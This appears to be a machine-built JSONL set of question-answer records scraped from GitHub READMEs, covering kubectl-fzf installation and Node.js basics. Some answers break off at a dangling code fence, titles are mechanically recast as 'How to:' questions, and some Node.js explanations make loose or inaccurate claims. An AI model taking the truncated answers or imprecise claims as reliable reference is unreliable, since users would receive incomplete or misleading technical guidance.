{"id": "gh_ad9cde22c621", "question": "How to: Requirements", "question_body": "About bonnefoa/kubectl-fzf", "answer": "- go (minimum version 1.19)\n- awk\n- [fzf](https://github.com/junegunn/fzf)", "tags": ["bonnefoa"], "source": "github_gists", "category": "bonnefoa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 469, "answer_score": 10, "has_code": false, "url": "https://github.com/bonnefoa/kubectl-fzf", "collected_at": "2026-01-17T12:58:35.562140"}
{"id": "gh_9d308c51dc4c", "question": "How to: Completion binary called during autocompletion", "question_body": "About bonnefoa/kubectl-fzf", "answer": "go install github.com/bonnefoa/kubectl-fzf/v3/cmd/kubectl-fzf-completion@main", "tags": ["bonnefoa"], "source": "github_gists", "category": "bonnefoa", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 469, "answer_score": 10, "has_code": false, "url": "https://github.com/bonnefoa/kubectl-fzf", "collected_at": "2026-01-17T12:58:35.562154"}
{"id": "gh_2a40f4f61088", "question": "How to: If you want to run the kubectl-fzf server locally", "question_body": "About bonnefoa/kubectl-fzf", "answer": "go install github.com/bonnefoa/kubectl-fzf/v3/cmd/kubectl-fzf-server@main\n```\n\n`kubectl-fzf-completion` needs to be in you $PATH so make sure that your $GOPATH bin is included:\n```\nPATH=$PATH:$GOPATH/bin\n```", "tags": ["bonnefoa"], "source": "github_gists", "category": "bonnefoa", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 469, "answer_score": 10, "has_code": true, "url": "https://github.com/bonnefoa/kubectl-fzf", "collected_at": "2026-01-17T12:58:35.562160"}
{"id": "gh_79ff132f289a", "question": "How to: bash version", "question_body": "About bonnefoa/kubectl-fzf", "answer": "wget https://raw.githubusercontent.com/bonnefoa/kubectl-fzf/main/shell/kubectl_fzf.bash -O ~/.kubectl_fzf.bash\necho \"source <(kubectl completion bash)\" >> ~/.bashrc\necho \"source ~/.kubectl_fzf.bash\" >> ~/.bashrc", "tags": ["bonnefoa"], "source": "github_gists", "category": "bonnefoa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 469, "answer_score": 10, "has_code": false, "url": "https://github.com/bonnefoa/kubectl-fzf", "collected_at": "2026-01-17T12:58:35.562166"}
{"id": "gh_66368148cd15", "question": "How to: zsh version", "question_body": "About bonnefoa/kubectl-fzf", "answer": "wget https://raw.githubusercontent.com/bonnefoa/kubectl-fzf/main/shell/kubectl_fzf.plugin.zsh -O ~/.kubectl_fzf.plugin.zsh\necho \"source <(kubectl completion zsh)\" >> ~/.zshrc\necho \"source ~/.kubectl_fzf.plugin.zsh\" >> ~/.zshrc\n```", "tags": ["bonnefoa"], "source": "github_gists", "category": "bonnefoa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 469, "answer_score": 10, "has_code": true, "url": "https://github.com/bonnefoa/kubectl-fzf", "collected_at": "2026-01-17T12:58:35.562171"}
{"id": "gh_6a64398e8bcf", "question": "How to: Zsh plugins: Antigen", "question_body": "About bonnefoa/kubectl-fzf", "answer": "You can use [antigen](https://github.com/zsh-users/antigen) to load it as a zsh plugin\n```shell\nantigen bundle robbyrussell/oh-my-zsh plugins/docker\nantigen bundle bonnefoa/kubectl-fzf@main shell/\n```", "tags": ["bonnefoa"], "source": "github_gists", "category": "bonnefoa", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 469, "answer_score": 10, "has_code": true, "url": "https://github.com/bonnefoa/kubectl-fzf", "collected_at": "2026-01-17T12:58:35.562176"}
{"id": "gh_ab0e850d8125", "question": "How to: Install kubectl-fzf-server as a pod", "question_body": "About bonnefoa/kubectl-fzf", "answer": "You can deploy `kubectl-fzf-server` as a pod in your cluster.\n\nFrom the [k8s directory](https://github.com/bonnefoa/kubectl-fzf/tree/main/k8s):\n```shell\nhelm template --namespace myns --set image.kubectl_fzf_server.tag=v3 --set toleration=aToleration . | kubectl apply -f -\n```\n\nYou can check the latest image version [here](https://cloud.docker.com/repository/docker/bonnefoa/kubectl-fzf/general).", "tags": ["bonnefoa"], "source": "github_gists", "category": "bonnefoa", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 469, "answer_score": 10, "has_code": true, "url": "https://github.com/bonnefoa/kubectl-fzf", "collected_at": "2026-01-17T12:58:35.562181"}
{"id": "gh_358eae7e7677", "question": "How to: Install kubectl-fzf-server as a systemd service", "question_body": "About bonnefoa/kubectl-fzf", "answer": "You can install `kubectl-fzf-server` as a systemd unit server.\n\n```", "tags": ["bonnefoa"], "source": "github_gists", "category": "bonnefoa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 469, "answer_score": 10, "has_code": true, "url": "https://github.com/bonnefoa/kubectl-fzf", "collected_at": "2026-01-17T12:58:35.562186"}
{"id": "gh_7003191286c0", "question": "How to: Create user systemd config", "question_body": "About bonnefoa/kubectl-fzf", "answer": "mkdir -p ~/.config/systemd/user\nwget https://raw.githubusercontent.com/bonnefoa/kubectl-fzf/main/systemd/kubectl_fzf_server.service -O ~/.config/systemd/user/kubectl_fzf_server.service", "tags": ["bonnefoa"], "source": "github_gists", "category": "bonnefoa", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 469, "answer_score": 10, "has_code": false, "url": "https://github.com/bonnefoa/kubectl-fzf", "collected_at": "2026-01-17T12:58:35.562191"}
{"id": "gh_8fa83cb3fce4", "question": "How to: Set fullpath of kubectl-fzf-server", "question_body": "About bonnefoa/kubectl-fzf", "answer": "sed -i \"s#INSTALL_PATH#$GOPATH/bin#\" ~/.config/systemd/user/kubectl_fzf_server.service", "tags": ["bonnefoa"], "source": "github_gists", "category": "bonnefoa", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 469, "answer_score": 10, "has_code": false, "url": "https://github.com/bonnefoa/kubectl-fzf", "collected_at": "2026-01-17T12:58:35.562195"}
{"id": "gh_089f93af6770", "question": "How to: Automatically enable it at startup", "question_body": "About bonnefoa/kubectl-fzf", "answer": "systemctl --user enable kubectl_fzf_server.service", "tags": ["bonnefoa"], "source": "github_gists", "category": "bonnefoa", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 469, "answer_score": 10, "has_code": false, "url": "https://github.com/bonnefoa/kubectl-fzf", "collected_at": "2026-01-17T12:58:35.562200"}
{"id": "gh_8aff49653c08", "question": "How to: kubectl-fzf-server: local version", "question_body": "About bonnefoa/kubectl-fzf", "answer": "``` mermaid\nflowchart TB\n    subgraph TargetCluster\n        k8s[api-server]\n    end\n\n    subgraph Laptop\n        shell[Shell]\n        fileNode([/tmp/kubectl_fzf_cache/TargetCluster/pods])\n        comp[kubectl-fzf-completion]\n        server[kubectl-fzf-server]\n    end\n    shell -- kubectl get pods TAB --> comp -- Read content and feed it to fzf --> fileNode\n    server -- Write autocompletion informations --> fileNode\n\n    k8s <-- Watch --o server\n```\n\n`kubectl-fzf-server` will watch cluster resources and keep the current state of the cluster in local files.\nBy default, files are written in `/tmp/kubectl_fzf_cache` (defined by `KUBECTL_FZF_CACHE`)\n\nAdvantages:\n- Minimal setup needed.\n- Local cache is maintained up to date.\n\nDrawbacks:\n- It can be CPU and memory intensive on big clusters.\n- It also can be bandwidth intensive. The most expensive is the initial listing at startup and on error/disconnection. Big namespace can increase the probability of errors during initial listing.\n- It can generate load on the kube-api servers if multiple user are running it.\n\nTo create cache files necessary for `kubectl_fzf`, just run in a tmux or a screen\n\n```shell\nkubectl-fzf-server\n```\n\nIt will watch the cluster in the current context. If you switch context, `kubectl-fzf-server` will detect and start watching the new cluster.\nThe initial resource listing can be long on big clusters and autocompletion might need 30s+.\n\n`connect: connection refused` or similar messages are expected if there's network issues/interruptions and `kubectl-fzf-server` will automatically reconnect.", "tags": ["bonnefoa"], "source": "github_gists", "category": "bonnefoa", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 469, "answer_score": 10, "has_code": true, "url": "https://github.com/bonnefoa/kubectl-fzf", "collected_at": "2026-01-17T12:58:35.562208"}
{"id": "gh_707ff0549914", "question": "How to: Completion", "question_body": "About bonnefoa/kubectl-fzf", "answer": "Once `kubectl-fzf-server` is running, you will be able to use `kubectl_fzf` by calling the kubectl completion\n```shell", "tags": ["bonnefoa"], "source": "github_gists", "category": "bonnefoa", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 469, "answer_score": 10, "has_code": true, "url": "https://github.com/bonnefoa/kubectl-fzf", "collected_at": "2026-01-17T12:58:35.562220"}
{"id": "gh_ea1f6d7cfa27", "question": "How to: Configuration", "question_body": "About bonnefoa/kubectl-fzf", "answer": "By default, the local port used for the port-forward is 8080. You can override it through an environment variable:\n```\nKUBECTL_FZF_PORT_FORWARD_LOCAL_PORT=8081\n```", "tags": ["bonnefoa"], "source": "github_gists", "category": "bonnefoa", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 469, "answer_score": 10, "has_code": true, "url": "https://github.com/bonnefoa/kubectl-fzf", "collected_at": "2026-01-17T12:58:35.562226"}
{"id": "gh_0e13516f06bf", "question": "How to: Debug kubectl-fzf-completion", "question_body": "About bonnefoa/kubectl-fzf", "answer": "Build and test a completion with debug logs:\n```\ngo build ./cmd/kubectl-fzf-completion && KUBECTL_FZF_LOG_LEVEL=debug ./kubectl-fzf-completion k8s_completion 'get pods '  \n```\n\nForce Tab completion to use the completion binary in the current directory:\n```\nexport KUBECTL_FZF_COMPLETION_BIN=./kubectl-fzf-completion\n```", "tags": ["bonnefoa"], "source": "github_gists", "category": "bonnefoa", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 469, "answer_score": 10, "has_code": true, "url": "https://github.com/bonnefoa/kubectl-fzf", "collected_at": "2026-01-17T12:58:35.562231"}
{"id": "gh_b6b964e0994e", "question": "How to: Debug kubectl-fzf-server", "question_body": "About bonnefoa/kubectl-fzf", "answer": "To launch kubectl-fzf-server with debug logs\n```shell\nkubectl-fzf-server --log-level debug\n```", "tags": ["bonnefoa"], "source": "github_gists", "category": "bonnefoa", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 469, "answer_score": 10, "has_code": true, "url": "https://github.com/bonnefoa/kubectl-fzf", "collected_at": "2026-01-17T12:58:35.562241"}
{"id": "gh_94c0c1ee4cff", "question": "How to: Related Topics", "question_body": "About learning-zone/nodejs-basics", "answer": "* *[HTML Basics](https://github.com/learning-zone/html-basics)*\n* *[CSS Basics](https://github.com/learning-zone/css-basics)*\n* *[JavaScript Basics](https://github.com/learning-zone/javascript-basics)*\n* *[SQL Basics](https://github.com/learning-zone/sql-basics)*\n* *[MongoDB Basics](https://github.com/learning-zone/mongodb-basics)*\n* *[Node.js APIs](nodejs-api.md)*\n* *[Node.js Commands](nodejs-commands.md)*\n* *[Node.js Coding Practice](nodejs-programming.md)*", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 3171, "answer_score": 10, "has_code": false, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.206950"}
{"id": "gh_2300234cc680", "question": "How to: Table of Contents", "question_body": "About learning-zone/nodejs-basics", "answer": "* [Introduction](#-1-introduction)\n* [Node.js Setup](#-2-nodejs-setup)\n* [Node.js Data Types](#-3-nodejs-data-types)\n* [Node.js Architecture](#-4-nodejs-architecture)\n* [Node.js Events](#-5-nodejs-events)\n* [Node.js File System](#-6-nodejs-file-system)\n* [Node.js Streams](#-7-nodejs-streams)\n* [Node.js Multithreading](#-8-nodejs-multithreading)\n* [Node.js Web Module](#-9-nodejs-web-module)\n* [Node.js Middleware](#-10-nodejs-middleware)\n* [Node.js RESTFul API](#-11-nodejs-restful-api)\n* [Node.js Routing](#-12-nodejs-routing)\n* [Node.js Caching](#-13-nodejs-caching)\n* [Node.js Error Handling](#-14-nodejs-error-handling)\n* [Node.js Logging](#-15-nodejs-logging)\n* [Node.js Internationalization](#-16-nodejs-internationalization)\n* [Node.js Testing](#-17-nodejs-testing)\n* [Node.js Miscellaneous](#-18-nodejs-miscellaneous)", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 3171, "answer_score": 10, "has_code": false, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.206967"}
{"id": "gh_75501580d76c", "question": "How to: Q. What is Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Node.js is an open-source server side runtime environment built on Chrome\\'s V8 JavaScript engine. It provides an event driven, non-blocking (asynchronous) I/O and cross-platform runtime environment for building highly scalable server-side applications using JavaScript.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.206978"}
{"id": "gh_3209fcc0a6ba", "question": "How to: Q. What is Node.js Process Model?", "question_body": "About learning-zone/nodejs-basics", "answer": "Node.js runs in a single process and the application code runs in a single thread and thereby needs less resources than other platforms.\n\nAll the user requests to your web application will be handled by a single thread and all the I/O work or long running job is performed asynchronously for a particular request. So, this single thread doesn\\'t have to wait for the request to complete and is free to handle the next request. When asynchronous I/O work completes then it processes the request further and sends the response.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.206986"}
{"id": "gh_699d069efecd", "question": "How to: Q. What are the key features of Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "* **Asynchronous and Event driven** – All APIs of Node.js are asynchronous. This feature means that if a Node receives a request for some Input/Output operation, it will execute that operation in the background and continue with the processing of other requests. Thus it will not wait for the response from the previous requests.\n\n* **Fast in Code execution** – Node.js uses the V8 JavaScript Runtime engine, the one which is used by Google Chrome. Node has a wrapper over the JavaScript engine which makes the runtime engine much faster and hence processing of requests within Node.js also become faster.\n\n* **Single Threaded but Highly Scalable** – Node.js uses a single thread model for event looping. The response from these events may or may not reach the server immediately. However, this does not block other operations. Thus making Node.js highly scalable. Traditional servers create limited threads to handle requests while Node.js creates a single thread that provides service to much larger numbers of such requests.\n\n* **Node.js library uses JavaScript** – This is another important aspect of Node.js from the developer\\'s point of view. The majority of developers are already well-versed in JavaScript. Hence, development in Node.js becomes easier for a developer who knows JavaScript.\n\n* **There is an Active and vibrant community for the Node.js framework** – The active community always keeps the framework updated with the latest trends in the web development.\n\n* **No Buffering** – Node.js applications never buffer any data. They simply output the data in chunks.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.206997"}
{"id": "gh_ce34c6c5b10f", "question": "How to: Q. How does Node.js work?", "question_body": "About learning-zone/nodejs-basics", "answer": "A Node.js application creates a single thread on its invocation. Whenever Node.js receives a request, it first completes its processing before moving on to the next request.\n\nNode.js works asynchronously by using the event loop and callback functions, to handle multiple requests coming in parallel. An Event Loop is a functionality which handles and processes all your external events and just converts them to a callback function. It invokes all the event handlers at a proper time. Thus, lots of work is done on the back-end, while processing a single request, so that the new incoming request doesn\\'t have to wait if the processing is not complete.\n\nWhile processing a request, Node.js attaches a callback function to it and moves it to the back-end. Now, whenever its response is ready, an event is called which triggers the associated callback function to send this response.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207007"}
{"id": "gh_58bcad981c0c", "question": "How to: Q. What is difference between process and threads in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "**1. Process:**\n\nProcesses are basically the programs that are dispatched from the ready state and are scheduled in the CPU for execution. PCB (Process Control Block) holds the concept of process. A process can create other processes which are known as Child Processes. The process takes more time to terminate and it is isolated means it does not share the memory with any other process.\n\nThe process can have the following states new, ready, running, waiting, terminated, and suspended.\n\n**2. Thread:**\n\nThread is the segment of a process which means a process can have multiple threads and these multiple threads are contained within a process. A thread has three states: Running, Ready, and Blocked.\n\nThe thread takes less time to terminate as compared to the process but unlike the process, threads do not isolate.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207016"}
{"id": "gh_342d36a601a8", "question": "How to: Q. How to create a simple server in Node.js that returns Hello World?", "question_body": "About learning-zone/nodejs-basics", "answer": "**Step 01**: Create a project directory\n\n```js\nmkdir myapp\ncd myapp\n```\n\n**Step 02**: Initialize project and link it to npm\n\n```js\nnpm init\n```\n\nThis creates a `package.json` file in your myapp folder. The file contains references for all npm packages you have downloaded to your project. The command will prompt you to enter a number of things.\nYou can enter your way through all of them EXCEPT this one:\n\n```js\nentry point: (index.js)\n```\n\nRename this to:\n\n```js\napp.js\n```\n\n**Step 03**: Install Express in the myapp directory\n\n```js\nnpm install express --save\n```\n\n**Step 04**: app.js\n\n```js\n/**\n * Express.js\n */\nconst express = require('express');\nconst app = express();\n\napp.get('/', function (req, res) {\n  res.send('Hello World!');\n});\n\napp.listen(3000, function () {\n  console.log('App listening on port 3000!');\n});\n```\n\n**Step 05**: Run the app\n\n```bah\nnode app.js\n```\n\n**⚝ [Try this example on CodeSandbox](https://codesandbox.io/s/hello-world-in-nodejs-ue3cs3)**\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207031"}
{"id": "gh_16399506ef40", "question": "How to: Q. Explain the concept of URL module in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "The URL module in Node.js splits up a web address into readable parts. Use `require()` to include the module. Then parse an address with the `url.parse()` method, and it will return a URL object with each part of the address as properties.\n\n**Example:**\n\n```js\n/**\n * URL Module in Node.js\n */\nconst url = require('url');\nconst adr = 'http://localhost:8080/default.htm?year=2022&month=september';\nconst q = url.parse(adr, true);\n\nconsole.log(q.host); // localhost:8080\nconsole.log(q.pathname); // \"/default.htm\"\nconsole.log(q.search); // \"?year=2022&month=september\"\n\nconst qdata = q.query; // { year: 2022, month: 'september' }\nconsole.log(qdata.month); // \"september\"\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207041"}
{"id": "gh_05b8e7bc78c2", "question": "How to: Q. What are the data types in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Just like JS, there are two categories of data types in Node: Primitives and Objects.\n\n**1. Primitives:**\n\n* String\n* Number\n* BigInt\n* Boolean\n* Undefined\n* Null\n* Symbol\n\n**2. Objects:**\n\n* Function\n* Array\n* Buffer\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207050"}
{"id": "gh_23d8eddc06bd", "question": "How to: Q. Explain String data type in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Strings in Node.js are sequences of unicode characters. Strings can be wrapped in a single or double quotation marks.\nJavascript provide many functions to operate on string, like indexOf(), split(), substr(), length.\n\n**String functions:**\n\n|Function   | Description               |\n|-----------|---------------------------|\n|charAt()   |It is useful to find a specific character present in a string.|\n|concat()   |It is useful to concat more than one string.|\n|indexOf()  |It is useful to get the index of a specified character or a part of the string.|\n|match()    |It is useful to match multiple strings.|\n|split()    |It is useful to split the string and return an array of string.|\n|join()     |It is useful to join the array of strings and those are separated by comma (,) operator.|\n\n**Example:**\n\n```js\n/** \n * String Data Type\n */\nconst str1 = \"Hello\";\nconst str2 = 'World';\n\nconsole.log(\"Concat Using (+) :\" , (str1 + ' ' + str2));\nconsole.log(\"Concat Using Function :\" , (str1.concat(str2)));\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207060"}
{"id": "gh_63221f225217", "question": "How to: Q. Explain Number data type in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "The number data type in Node.js is 64 bits floating point number both positive and negative. The parseInt() and parseFloat() functions are used to convert to number, if it fails to convert into a number then it returns `NaN`.\n\n**Example:**\n\n```js\n/**\n * Number Data Type\n */\n// Example 01:\nconst num1 = 10;\nconst num2 = 20;\n\nconsole.log(`sum: ${num1 + num2}`); \n\n// Example 02:\nconsole.log(parseInt(\"32\"));  // 32\nconsole.log(parseFloat(\"8.24\")); // 8.24\nconsole.log(parseInt(\"234.12345\")); // 234\nconsole.log(parseFloat(\"10\")); // 10\n\n// Example 03:\nconsole.log(isFinite(10/5)); // true\nconsole.log(isFinite(10/0)); // false\n\n// Example 04:\nconsole.log(5 / 0); // Infinity\nconsole.log(-5 / 0); // -Infinity\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207070"}
{"id": "gh_67259249cd21", "question": "How to: Q. Explain BigInt data type in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "A BigInt value, also sometimes just called a BigInt, is a bigint primitive, created by appending **n** to the end of an integer literal, or by calling the BigInt() function ( without the new operator ) and giving it an integer value or string value.\n\n**Example:**\n\n```js\n/**\n * BigInt Data Type\n */\nconst maxSafeInteger = 99n; // This is a BigInt\nconst num2 = BigInt('99'); // This is equivalent\nconst num3 = BigInt(99); // Also works\n\ntypeof 1n === 'bigint'           // true\ntypeof BigInt('1') === 'bigint'  // true\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207078"}
{"id": "gh_759b34e972db", "question": "How to: Q. Explain Boolean data type in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Boolean data type is a data type that has one of two possible values, either true or false. In programming, it is used in logical representation or to control program structure.\n\nThe boolean() function is used to convert any data type to a boolean value. According to the rules, false, 0, NaN, null, undefined, empty string evaluate to false and other values evaluates to true.\n\n**Example:**\n\n```js\n/**\n * Boolean Data Type\n */\n// Example 01:\nconst isValid = true; \nconsole.log(isValid); // true \n\n// Example 02:\nconsole.log(true && true); // true \nconsole.log(true && false); // false \nconsole.log(true || false); // true \nconsole.log(false || false); // false \nconsole.log(!true); // false \nconsole.log(!false); // true \n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207087"}
{"id": "gh_378c8e19e19a", "question": "How to: Q. Explain `Undefined` and `Null` data type in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "In node.js, if a variable is defined without assigning any value, then that will take **undefined** as value. If we assign a null value to the variable, then the value of the variable becomes **null**.\n\n**Example:**\n\n```js\n/**\n * NULL and UNDEFINED Data Type\n */\nlet x;\nconsole.log(x); // undefined\n\nlet y = null;\nconsole.log(y); // null\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207095"}
{"id": "gh_d5551f1b16d6", "question": "How to: Q. Explain Symbol data type in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Symbol is an immutable primitive value that is unique. It\\'s a very peculiar data type. Once you create a symbol, its value is kept private and for internal use.\n\n**Example:**\n\n```js\n/**\n * Symbol Data Type\n */\nconst NAME = Symbol()\nconst person = {\n  [NAME]: 'Ritika Bhavsar'\n}\n\nperson[NAME] // 'Ritika Bhavsar'\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207101"}
{"id": "gh_2b7c39d16b5e", "question": "How to: Q. Explain function in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Functions are first class citizens in Node\\'s JavaScript, similar to the browser\\'s JavaScript. A function can have attributes and properties also. It can be treated like a class in JavaScript.\n\n**Example:**\n\n```js\n/**\n * Function in Node.js\n */\nfunction Messsage(name) {\n console.log(\"Hello \"+name);\n}\n\nMesssage(\"World\"); // Hello World\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207107"}
{"id": "gh_437c2065a635", "question": "How to: Q. Explain Buffer data type in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Node.js includes an additional data type called Buffer ( not available in browser\\'s JavaScript ). Buffer is mainly used to store **binary data**, while reading from a file or receiving packets over the network.\n\n**Example:**\n\n```js\n/**\n * Buffer Data Type\n */\nlet b = new Buffer(10000);\nlet str = \"----------\";\n\nb.write(str); \nconsole.log( str.length ); // 10\nconsole.log( b.length ); // 10000\n```\n\n*Note: Buffer() is deprecated due to security and usability issues.*\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207114"}
{"id": "gh_dfd0d9d43f4b", "question": "How to: Q. What are the core modules of Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Node.js has a set of core modules that are part of the platform and come with the Node.js installation. These modules can be loaded into the program by using the require function.\n\n**Syntax:**\n\n```js\nconst module = require('module_name');\n```\n\n**Example:**\n\n```js\nconst http = require('http');\n\nhttp.createServer(function (req, res) {\n  res.writeHead(200, {'Content-Type': 'text/html'});\n  res.write('Welcome to Node.js!');\n  res.end();\n}).listen(3000);\n```\n\nThe following table lists some of the important core modules in Node.js.\n\n|Name         |Description                                             |\n|-------------|--------------------------------------------------------|\n|Assert       |It is used by Node.js for testing itself. It can be accessed with require('assert').|\n|Buffer       |It is used to perform operations on raw bytes of data which reside in memory. It can be accessed with require('buffer')|\n|Child Process|It is used by node.js for managing child processes. It can be accessed with require('child_process').|\n|Cluster      |This module is used by Node.js to take advantage of multi-core systems, so that it can handle more load. It can be accessed with require('cluster').|\n|Console      |It is used to write data to console. Node.js has a Console object which contains functions to write data to console. It can be accessed with require('console'). |\n|Crypto       |It is used to support cryptography for encryption and decryption. It can be accessed with require('crypto').|\n|HTTP         |It includes classes, methods and events to create Node.js http server.|\n|URL          |It includes methods for URL resolution and parsing.|\n|Query String |It includes methods to deal with query string.|\n|Path         |It includes methods to deal with file paths.|\n|File System  |It includes classes, methods, and events to work with file I/O.|\n|Util         |It includes utility functions useful for programmers.|\n|Zlib         |It is used to compress and decompress data. It can be accessed with require('zlib').|\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207138"}
{"id": "gh_f136fa2756d2", "question": "How to: Q. What do you understand by Reactor Pattern in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "**Reactor Pattern** is used to avoid the blocking of the Input/Output operations. It provides us with a handler that is associated with I/O operations. When the I/O requests are to be generated, they get submitted to a demultiplexer, which handles concurrency in avoiding the blocking of the I/O mode and collects the requests in form of an event and queues those events.\n\n**There are two ways in which I/O operations are performed:**\n\n**1. Blocking I/O:** Application will make a function call and pause its execution at a point until the data is received. It is called as \"Synchronous\".\n\n**2. Non-Blocking I/O:** Application will make a function call, and, without waiting for the results it continues its execution. It is called as \"Asynchronous\".\n**Reactor Pattern comprises of:**\n\n**1. Resources:** They are shared by multiple applications for I/O operations, generally slower in executions.\n\n**2. Synchronous Event De-multiplexer/Event Notifier:** This uses Event Loop for blocking on all resources. When a set of I/O operations completes, the Event De-multiplexer pushes the new events into the Event Queue.\n\n**3. Event Loop and Event Queue:** Event Queue queues up the new events that occurred along with its event-handler, pair.\n\n**4. Request Handler/Application:** This is, generally, the application that provides the handler to be executed for registered events on resources.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207148"}
